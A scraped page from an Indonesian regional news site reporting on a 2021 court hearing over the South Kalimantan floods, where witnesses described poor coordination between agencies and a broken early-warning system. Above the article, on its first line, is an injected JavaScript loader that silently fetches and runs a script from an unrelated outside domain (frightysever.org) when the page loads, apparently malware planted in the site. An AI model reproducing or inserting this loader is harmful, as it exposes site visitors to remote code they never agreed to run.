(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN– Sidang lanjutan gugatan banjir Kalsel kembali digelar di Pengadilan Usaha Tata Negara (PTUN) Banjarmasin di Jl Brigjen H. Hasan Basri No 32 Banjarmasin, Rabu (18/8/2021).
Agenda sidang kali ini membahas bukti tambahan dan saksi tergugat Gubernur Kalsel. Sidang menghadirkan saksi dari Badan Penanggulangan Bencana Daerah (BPBD) tiga orang dan Dinas Sosial Kalsel sebanyak 1 orang.
Selama proses sidang berlangsung, saksi dari BPBD Kalsel Sahrudin menyampaikan kajian tentang banjir yang terjadi pada Januari 2021 lalu.
Terkait sidang hari ini, Tim Advokasi Hukum Korban Banjir Kalsel M Fazri mengatakan, dari keterangan yang disampaikan saksi pihaknya menilai adanya miskoordinasi antar instansi dalam penanganan banjir di Kalsel.
Baca juga: YBM PT PLN UIKL Kalimantan-FKALB PMI ULM Salurkan Bantuan ke Pemko Banjarbaru
“Sebagai contoh tentang alat peringatan dini. Pada tahun 2015 Pemprov Kalsel sudah memiliki alat sistem peringatan dini namun rusak. Ketika alat sistem peringatan dini itu dipasang pada tahun 2015 itu seharusnya ada pedoman mulai dari pola pemeliharaan secara teknis dan sebagainya,” kata Fazri.
Dari situ, Fazri menyimpulkan bahwa hal ini bisa menguatkan dalil gugatan khususnya objek yang pertama bahwa tidak ada peringatan dini kepada masyarakat secara komprehensif.
Selain itu, dalam pendistribusian bantuan oleh Dinas Sosial, ia melihat ada masalah dalam keadilan yang merata dalam pendistribusian.
“Apakah tepat sasaran atau tidak, hal tersebut masih terjadi secara parsial di lapangan, karena tidak ada perencanaan dan tidak ada SOP dan tidak ada program,” tambahnya.
Setelah tanggap darurat dibentuk tim dari Gubernur hingga Sekda harusnya ada program dalam menanggapi dan mengatasi bencana banjir. Namun dikarenakan tidak adanya koordinasi yang baik, setiap instansi berjalan sendiri-sendiri dan ujungnya saling lempar tanggung jawab.
Hingga saat ini proses sidang masih berlangsung. (Kanalkalimantan.com/seno)
Reporter: seno
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Surat Keputusan (SK) terkait pelanggaran kode etik dijatuhkan kepada tiga orang Pegawai… Read More
KANALKALIMANTAN.COM, BANJARBARU - Di sepanjang tahun 2024, PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANAKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penyetopan distribusi air bersih selama… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru Provinsi Kalimantan Selatan (Kalsel) tengah menggelar pemilihan ketua RT/RW serentak… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi VIII DPR RI bersama Kementerian Agama (Kemenag) resmi menetapkan Biaya Penyelenggaraan… Read More
KANALKALIMANTAN.COM, JAKARTA – Tim Banjarbaru Hanyar (Haram Manyarah) untuk gugatan Pilkada Kota Banjarbaru akan menghadapi… Read More
This website uses cookies.